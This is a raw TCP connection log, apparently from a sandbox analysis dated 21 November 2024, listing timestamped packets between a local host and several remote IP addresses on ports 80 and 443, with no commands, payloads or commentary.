Nov 21, 2024 22:04:32.039376020 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.040266037 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.040306091 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.040319920 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.040379047 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.041250944 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.041300058 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.041359901 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.042295933 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.042360067 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.042495966 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.042587042 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.043350935 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.043458939 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.043468952 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.043531895 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.044409990 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.044542074 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.044600010 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.045473099 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.045536995 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.045538902 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.045598030 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.046520948 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.046586037 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.046631098 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.046670914 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.047672033 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.047777891 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.047880888 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.047964096 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.048623085 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.048676014 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.048775911 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.048831940 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.049673080 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.049725056 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.049834013 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.050796986 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.050913095 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.050925970 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.051021099 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.051909924 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.051955938 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.052031994 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.052088022 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.052875042 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.052936077 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.052999973 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.053122044 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.053991079 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.054049969 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.054224014 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.054378033 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.055011034 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.055067062 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.055103064 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.055160046 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.056065083 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.056113958 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.056129932 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.056163073 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.057161093 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.057286024 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.057286024 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.057337046 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.058146000 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.058199883 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.058288097 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.058351994 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.059253931 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.059303999 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.059431076 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.060311079 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.060379982 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.060482979 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.060589075 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.061326981 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.061415911 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.061440945 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.061474085 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.107139111 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.107698917 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.107733011 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.108171940 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.108179092 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.121967077 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.121984959 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.122061014 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.122215986 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.122277975 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.122342110 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.122544050 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.123294115 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.123414040 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.123567104 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.123567104 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.124391079 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.124442101 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.124825954 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.124921083 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.125443935 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.125511885 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.125691891 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.125767946 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.126455069 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.126528978 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.126564026 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.126724005 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.127537012 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.127585888 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.127638102 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.127744913 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.128597021 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.128645897 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.128722906 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.128774881 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.129637957 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.129714966 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.129755974 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.129838943 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.130798101 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.130837917 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.130862951 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.130886078 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.131747961 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.131808996 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.131833076 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.131865025 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.132785082 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:32.132843971 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:32.277825117 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.278006077 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.278086901 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.280970097 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.280970097 CET	49733	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.280989885 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.280999899 CET	443	49733	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.284926891 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.284955025 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.285028934 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.285260916 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.285279036 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.307096958 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.307288885 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.307353973 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.307986975 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.308038950 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.308057070 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.308073997 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.310602903 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.310646057 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.310723066 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.310903072 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.310918093 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.363591909 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.363684893 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.363740921 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.363903999 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.363903999 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.363922119 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.363934040 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.367331982 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.367373943 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.367539883 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.367743969 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.367758989 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.376018047 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.376090050 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.376146078 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.376282930 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.376300097 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.376327038 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.376334906 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.378966093 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.379005909 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.379065037 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.379242897 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.379259109 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.545721054 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.545802116 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.545897007 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.547712088 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.547735929 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.547780037 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.547786951 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.560936928 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.560985088 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:32.561099052 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.561288118 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:32.561304092 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.079154015 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.104248047 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.122606039 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.128659010 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.128669977 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.129180908 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.129185915 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.129750013 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.129777908 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.130234003 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.130245924 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.150778055 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.153229952 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.153244972 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.153784990 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.153789043 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.167340994 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.169332027 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.169343948 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.170855999 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.170862913 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.292735100 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.292772055 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.292840004 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.292953968 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293045998 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.293046951 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293077946 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.293139935 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293283939 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293414116 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293430090 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.293576956 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293592930 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.293829918 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.293865919 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.315686941 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.315722942 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.315898895 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.316261053 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:34.316274881 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:34.411330938 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.412410021 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.412425995 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.413160086 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.413173914 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.522336006 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.522528887 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.522619963 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.522716999 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.522741079 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.522756100 CET	49738	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.522763014 CET	443	49738	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.527956963 CET	49752	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.528001070 CET	443	49752	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.528058052 CET	49752	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.528242111 CET	49752	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.528260946 CET	443	49752	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.548477888 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.548619986 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.548815966 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.548867941 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.548888922 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.548902035 CET	49739	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.548908949 CET	443	49739	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.551347017 CET	49753	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.551382065 CET	443	49753	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.551448107 CET	49753	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.551568985 CET	49753	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.551584005 CET	443	49753	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.614101887 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.614171028 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.614239931 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.614892006 CET	49741	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.614914894 CET	443	49741	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.618565083 CET	49754	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.618606091 CET	443	49754	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.618779898 CET	49754	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.618962049 CET	49754	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.618973970 CET	443	49754	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.633639097 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.633799076 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.633867979 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.633893013 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.633910894 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.633929014 CET	49740	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.633939028 CET	443	49740	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.636213064 CET	49755	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.636246920 CET	443	49755	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.636343002 CET	49755	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.636832952 CET	49755	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.636847019 CET	443	49755	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.867429972 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.867491961 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.867604971 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.867908955 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.867908955 CET	49742	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.867927074 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.867938995 CET	443	49742	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.871001005 CET	49756	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.871043921 CET	443	49756	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:34.871184111 CET	49756	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.871479988 CET	49756	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:34.871495008 CET	443	49756	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:35.676915884 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:35.680996895 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:36.064743042 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.076951981 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.078813076 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.080456972 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.080477953 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.080602884 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.080637932 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.081007004 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.081032991 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.081100941 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.082101107 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.082122087 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.082171917 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.082226992 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.082329988 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.082359076 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.083914995 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.083997965 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.084433079 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.084445953 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.084517002 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.084552050 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.085218906 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.085405111 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.085566044 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.085575104 CET	443	49746	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.085694075 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.085707903 CET	443	49747	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.085824013 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.085832119 CET	443	49749	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.086275101 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.086376905 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.087573051 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.087657928 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.087948084 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.087958097 CET	443	49748	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:36.134823084 CET	49749	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.134821892 CET	49747	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.134831905 CET	49746	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.134835958 CET	49748	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:36.312498093 CET	443	49752	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:36.318619967 CET	49752	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:36.318644047 CET	443	49752	13.107.246.63	192.168.2.7
